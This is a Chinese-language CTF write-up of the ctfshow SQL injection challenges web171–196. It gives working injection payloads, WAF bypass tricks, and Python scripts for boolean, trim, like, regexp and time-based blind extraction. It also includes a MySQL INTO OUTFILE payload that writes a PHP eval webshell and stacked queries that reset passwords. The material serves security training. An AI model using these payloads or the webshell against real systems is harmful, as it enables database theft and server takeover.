前言
师傅们加油!!!
题目
web 171(万能密码)
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
id存在注入,可以直接用万能密码' or 1=1 %23 ,这时候# 会把后面过滤了,where username !='flag' and id = '' or 1=1 %23 条件恒成立,select语句返回所有结果
web 172(回显内容过滤,base64或者hex编码绕过)
(猫猫挺好玩的)
发现对username的回显内容进行检测
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
可以用base64编码或者hex编码绕过,to_base64() ,hex()
' union select hex(username),password from ctfshow_user2 where username='flag
web 173(回显内容过滤,base64或者hex编码绕过)
对比上题,对所有回显内容都做了检测
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
由于flag格式是ctfshow{XXX},所以我们的flag不会检测到,直接用上题的payload,把ctfshow_user2改成ctfshow_user3
' union select 1,hex(username),password from ctfshow_user3 where username='flag
突然想起来,如果flag格式是ctfshow{XXX}话,过滤flag并没有什么影响,已经知道表名,可以直接查询password拿到flag
' union select 1,1,password from ctfshow_user3 where username='flag
web 174 (布尔盲注丶trim盲注丶replace替换字符)
过滤更严格了,数字也会被检测到
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
试过了编码,都没有回显,应该是编码后还是存在数字,只能换个方法了
想到可以用盲注去解,保险起见现在burp抓包根据请求包写个盲注脚本,因为ctfshow的flag是用了uuid加密,可以直接构造uuid字典uuid=string.ascii_lowercase+"-}{"+string.digits
flag格式ctfshow{xxxxxxxx(8)-xxxx(4)-xxxx(4)-xxxx(4)-xxxxxxxxxxxx(12)} 其中每个 x 是 0-9 或 a-f 范围内的一个十六进制的数字。
布尔盲注
import requests
import string
url="http://b1c54244-c67c-41e9-80af-c6c916ee3cf2.challenge.ctf.show//api/v4.php?id=1'"
uuid=string.ascii_lowercase+"-}{"+string.digits
flag=""
for i in range(1,46):
for j in uuid:
payload = "and ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag') from {0} for 1))={1}--%20&page=1&limit=10".replace(" ", "/**/").format(i,ord(j))
res = requests.get(url+payload)
print(j)
if "admin" in res.text:
flag += j
print("flag=",flag)
break
else:
pass
trim盲注
import requests
import string
url="http://b1c54244-c67c-41e9-80af-c6c916ee3cf2.challenge.ctf.show/api/v4.php?id=1'"
uuid=string.ascii_lowercase+"-}{"+string.digits
flag="ctfshow{"
for i in range(1,46):
for j in uuid:
payload = f"and trim(leading '{flag}{j}' from (select group_concat(password) from ctfshow_user4 where username = 'flag'))=trim(leading '{flag}.' from (select group_concat(password) from ctfshow_user4 where username = 'flag'))--%20".replace(" ", "/**/")
res = requests.get(url+payload)
print(j)
if "admin" not in res.text:
flag += j
print("flag=",flag)
break
else:
pass
看了下群主的思路,可以用replace函数去把数字替换成其他字符
replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0',')'),'9','('),'8','*'),'7','&'),'6','^'),'5','%'),'4','$'),'3','#'),'2','@'),'1','!')
web 175(时间盲注 二分法和Mysql写webshell)
本身自己写了一个时间盲注的脚本,但是表现不佳,跑的速度太慢了,参考了Y4tacker师傅的脚本,用了二分法
import requests
url = "http://82f3585f-b6e9-42c4-b8fa-6bd57cf51887.challenge.ctf.show/api/v5.php?id=1'"
result = ''
for i in range(1,40):
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = "and if(ascii(substr((select password from ctfshow_user5 where username = 'flag' ),{0},1))>{1},sleep(3),1)%23".format(i,mid)
try:
r = requests.get(url + payload, timeout=0.5)
tail = mid
except:
head = mid + 1
if head != 32:
result += chr(head)
print(result)
else:
break
还有种办法是MySQL写webshell,可以用outfile 和dumpfile 来写shell
联合查询
?id=' UNION ALL SELECT 1,2,'<?php echo 123;eval($_POST[0]);?>',3 into outfile '/var/www/html/1.php' %23
?id=' UNION ALL SELECT 1,2,'<?php echo 123;eval($_POST[0])?>',3 into dumpfile '/var/www/html/1.php' %23
web 176(大小写绕过)
用order by,得知表有3列,发现select被过滤,但可以用大小写绕过
1' union sElect 1,2, group_concat(password) from `ctfshow_user`
web 177(过滤空格)
可以用这些代替空格
%09
%0a
%0d
%0c
+
1'%0aunion%0asElect%0a1,2,%0agroup_concat(password)%0afrom%0a`ctfshow_user`%23
web178 (过滤空格)
上题的也可以解出来,换个方式
1'or'1'='1'%23
web179 (过滤空格)
%0c 没被过滤
1'%0cunion%0csElect%0c1,2,%0cgroup_concat(password)%0cfrom%0c`ctfshow_user`%23
web180 (过滤空格)
发现# 也被过滤了,而且只能回显一行
-1'%0cunion%0csElect'1',(sElect%0cgroup_concat(password)from`ctfshow_user`),'3
web181
过滤了所有空格
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}
-1'or(username)='flag
web182
这次过滤了flag,不过可以通过查询id来那道flag
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}
看了下上题,flag的id是26
-1'or(id)='26
web183 (like盲注)
直接写个盲注脚本吧
import requests
import string
url = 'http://ec30edd1-31ee-45ae-9db4-7db5f4b6c83d.challenge.ctf.show/select-waf.php'
uuid = string.digits+string.ascii_lowercase+"-}"
passwd = "`ctfshow_user`where(pass)like'ctfshow{"
for i in range(40):
for char in uuid:
data = {
'tableName' : passwd +f"{char}%'"
}
res = requests.post(url, data=data)
if "$user_count = 1;" in res.text:
passwd += char
print(passwd)
break
web184 (regexp 盲注)
比上题更加严格,但是可以用空格
import requests
import string
url = 'http://e62dd2da-6dc5-4d4c-8907-ab198e411f30.challenge.ctf.show/select-waf.php'
uuid = string.digits+string.ascii_lowercase+"-}"
passwd = 'ctfshow_user group by pass having pass regexp(0x63746673686f777b'
for i in range(40):
for char in uuid:
data = {
'tableName' : passwd +f"{hex(ord(char))[2:]})"
}
res = requests.post(url, data=data)
if "$user_count = 1;" in res.text:
passwd += hex(ord(char))[2:]
print(passwd)
break
web185(过滤数字)
expression | 值 |
---|
false | 0 | true | 1 | true+true | 2 | floor(pi()) | 3 | ceil(pi()) | 4 | floor(pi())+true | 5 | floor(pi())+floor(pi()) | 6 | floor(pi())+ceil(pi()) | 7 | ceil(pi())+ceil(pi()) | 8 | floor(pi())*floor(pi()) | 9 | floor(pi())*floor(pi())+true | 10 |
waf不让用数字和字符串(过滤单引号双引号),可以用regex(concat(char(xxx),char(xxx)...)) 解
from operator import concat
import requests
import string
url = 'http://814f9d18-e43c-4dad-bdb7-489f7a423606.challenge.ctf.show/select-waf.php'
uuid = string.digits+string.ascii_lowercase+"-}"
passwd = 'ctfshow_user group by pass having pass regexp('
flag = 'ctfshow{'
def numToStr1(str):
parts = []
for s in str:
parts.append(numToStr2(s))
res = ','.join(parts)
return f"concat({res})"
def numToStr2(num):
parts = []
n = ord(num)
for i in range(n):
parts.append("true")
res = "+".join(parts)
return f"char({res})"
for i in range(40):
for char in uuid:
data = {
'tableName' : passwd + f"{numToStr1(flag+char)})"
}
res = requests.post(url, data=data)
if "$user_count = 1;" in res.text:
flag += char
print(flag)
break
web186(过滤数字)
同上
web187(md5($password,true) 万能密码)
看到md5($password,true) ,立马想到可以用万能密码绕过
ffifdyop
129581926211651571912466741651878684928
web188 (mysql弱类型比较)
参考博客 MySQL学习之弱类型
进行下列语句查询的时候,会发生隐式的数据类型转换,当username为0的时候,也会返回所有username为非0开头的字符串
$sql = "select pass from ctfshow_user where username = {$username}";
username=0&password=0
web189(盲注读文件)
题目提示flag在/api/index.php 中,猜测用load_file 读文件.可以用like 或者regexp 匹配,也可以用loacte 函数获取flag的下标,然后截取比较 盲注的话要寻找判断回显的地方,可以发现当用户名和密码为0时,显示密码错误,用户名为其他值的时候显示查询失败.
题目把and or & | 都过滤了,不过 where username = {$username} 没有引号包裹可以直接传数字.用if或者case就可以了
from operator import concat
import requests
import string
url = 'http://2e697a15-84fe-4c2d-988f-37edb5260613.challenge.ctf.show/api/'
uuid = string.digits+string.ascii_lowercase+"-}"
passwd = "if(load_file('/var/www/html/api/index.php')regexp('ctfshow{"
flag = 'ctfshow{'
for i in range(40):
for char in uuid:
print(char)
data = {
'username' : passwd + f"{char}'),0,1)",
'password' : 0
}
res = requests.post(url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text:
passwd += char
print(passwd)
break
web190(时间盲注)
发现没对username进行过滤,可以用sleep,直接上时间盲注
exp
import requests
url = "http://3cc6c564-6d1b-445c-9503-2cd45a50ea3c.challenge.ctf.show/api/"
result = ''
payload = "select f1ag from `ctfshow_fl0g`"
for i in range(40,50):
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
data = {
'username' : f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",
'password' : 0
}
try:
r = requests.post(url, data, timeout=0.8)
tail = mid
except:
head = mid + 1
if head != 32:
result += chr(head)
print(result)
else:
break
web191(时间盲注)
ascii改同名函数ord,其他同上
web192(时间盲注)
不给用ascii就不用了
exp
import requests
import string
url = "http://36918409-2772-42d0-8ecb-bfbad2f46695.challenge.ctf.show/api/"
result = ''
payload = "select f1ag from `ctfshow_fl0g`"
uuid = string.ascii_lowercase+string.digits+"{-_}"
for i in range(1,50):
for char in uuid:
data = {
'username' : f"admin' and if(substr(({payload}),{i},1)='{char}',sleep(3),1)#",
'password' : 0
}
try:
r = requests.post(url, data, timeout=0.8)
except:
result += char
print(result)
break
if char == '}':
break
web193(时间盲注)
strsub 不给用了,mid 、leift 、right 都可以
right
从右边开始截取,配合ascii使用. ascii('str') 返回字符串的第一个字符的ascii码 ascii(right('abc',2)) = 97 相当于 ascii(‘bc’)=97
left
从左边开始截取,用reverse反转
ascii(reverse(left('abc',2))) = 97 相当于 ascii(‘bc’)=97
mid和strsub效果一样,代码同上
web194(时间盲注)
继续白嫖
web195(update改密码)
本身开始想用下列语句的,但是返回查询失败
admin;update`ctfshow_user`set`pass`=123
检查了下语句没有被过滤,但是发现$username 没有被单引号包裹,可以用十六进制或者unhex(hex())绕过
$sql = "select pass from ctfshow_user where username = {$username};";
payload
username=0x61646d696e;update`ctfshow_user`set`pass`=123&password=123
web196
长度限制了又过滤了select,除了爆破想不到还有什么方法可以解出来
看了其他师傅wp,实际上没有过滤select…
username=0;select(1)&password=1
总结
…
|